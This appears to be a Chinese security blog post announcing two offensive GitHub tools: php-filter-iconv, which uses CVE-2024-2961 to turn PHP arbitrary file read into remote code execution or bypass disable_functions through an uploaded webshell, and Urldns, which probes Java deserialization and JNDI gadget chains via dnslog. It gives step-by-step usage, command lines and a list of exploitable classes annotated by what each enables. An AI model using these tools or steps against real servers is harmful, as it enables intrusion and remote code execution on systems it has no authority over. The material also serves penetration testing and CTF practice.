https://github.com/kezibei/php-filter-iconv
这个项目可以利用CVE-2024-2961打php,将任意文件读取转化成RCE。或者已经拿到webshell的情况下,利用CVE-2024-2961 bypass disable_functions。
php-filter-iconv.py用法
先通过任意文件下载漏洞获取目标的/proc/self/maps和libc-2.x.so,在本机和php-filter-iconv.py放在同目录,然后运行脚本即可生成php://filter/的RCE payload,详细参数调整如下代码即可。
.......
maps_path = './maps'
cmd = 'echo 123 > 1.txt'
sleep_time = 1
padding = 20
if not os.path.exists(maps_path):
exit("[-]no maps file")
regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)
libc_path = libc_info.path
print("[*]download: "+libc_path)
libc_path = './libc-2.23.so'
.......
php-filter-iconv.php用法
直接上传到已经获得webshell的服务器进行bypass disable_functions,然后访问如下链接检测环境。
/php-filter-iconv.php?cmd=curl 127.0.0.1:8888&run=0
然后访问如下链接进行命令执行,一切顺利命令会执行成功,服务器会延时几分钟报503
/php-filter-iconv.php?cmd=curl 127.0.0.1:8888&run=1
https://github.com/kezibei/Urldns
这个项目在目标存在java反序列化漏洞,或者jndi漏洞,且服务器可以访问dnslog的情况下,可以探测对方的反序列化链依赖。
有三种模式,base64,file,ldap。file默认当前目录生成文件1.ser,ldap默认端口1389。
java -jar Urldns.jar base64 all dnslog.com
java -jar Urldns.jar file all dnslog.com
java -jar Urldns.jar ldap all dnslog.com
目前支持的内置探测类如下,使用all将全部探测,可以将all替换为如下简写进行单独探测,也可以填写自定义的类进行探测。如果想同时探测多个类,用|分割。
CommonsCollections13567
CommonsCollections24
CommonsBeanutils2
C3P0
AspectJWeaver
bsh
Groovy
Becl
DefiningClassLoader
Jdk7u21
JRE8u20
ROME
Fastjson
Jackson
SpringAOP
winlinux
jdk17_22
jdk9_22
jdk6_8
jdk6_11
jdk9_10
使用ldap模式的all将额外探测如下
//BeanFactory,配合无参构造和单String方法RCE
org.apache.naming.factory.BeanFactory
org.apache.catalina.filters.CsrfPreventionFilter$NonceCache
javax.el.ELProcessor
org.yaml.snakeyaml.Yaml
com.thoughtworks.xstream.XStream
org.mvel2.sh.ShellSession
//高版本tomcat无forceString
org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory
org.apache.commons.configuration.SystemConfiguration
org.apache.commons.configuration2.SystemConfiguration
org.apache.groovy.util.SystemUtil
org.apache.batik.swing.JSVGCanvas
//XXE和写文件
org.apache.catalina.users.MemoryUserDatabaseFactory
org.apache.catalina.UserDatabase
//jdbc
org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
org.apache.commons.dbcp.BasicDataSourceFactory
org.apache.commons.dbcp2.BasicDataSourceFactory
org.apache.tomcat.jdbc.pool.DataSourceFactory
com.alibaba.druid.pool.DruidDataSourceFactory
com.zaxxer.hikari.HikariJNDIFactory
org.h2.Driver
org.postgresql.Driver
org.springframework.context.support.ClassPathXmlApplicationContext
com.mysql.jdbc.Driver
com.mysql.cj.jdbc.Driver
com.mysql.fabric.jdbc.FabricMySQLDriver
oracle.jdbc.driver.OracleDriver
com.ibm.db2.jcc.DB2Driver
COM.ibm.db2.jcc.DB2Driver
//WebSphere加载jar RCE
com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
com.ibm.ws.webservices.engine.client.ServiceFactory
//反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类
oracle.ucp.jdbc.PoolDataSourceImpl
org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl
示例:
java -jar Urldns.jar base64 "CommonsBeanutils2|C3P0|ognl.OgnlContext" dnslog.com
常用:
java -jar Urldns.jar base64 all dnslog.com
效果如下图
这次更新了更多可能利用上的链的探测。比如
ROME
jdk17_22 + jdk9_22 + jdk6_8 + jdk6_11 + jdk9_10
GenericNamingResourcesFactory + setter
DataSourceFactory + db2
getter + DataSource + h2
同时,尽量详细的在注释中说明了为什么要探测这个类。
最后,我做的pwn题大部分都会在自己的github上放出来,不放出来的一般也很容易搜到或者是某个CTF靶场的题目。
https://www.polarctf.com/#/page/challenges
https://github.com/kezibei/pwn_study
原文始发于微信公众号(哈拉少安全小队):github公开php-filter-iconv,Urldns项目更新
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论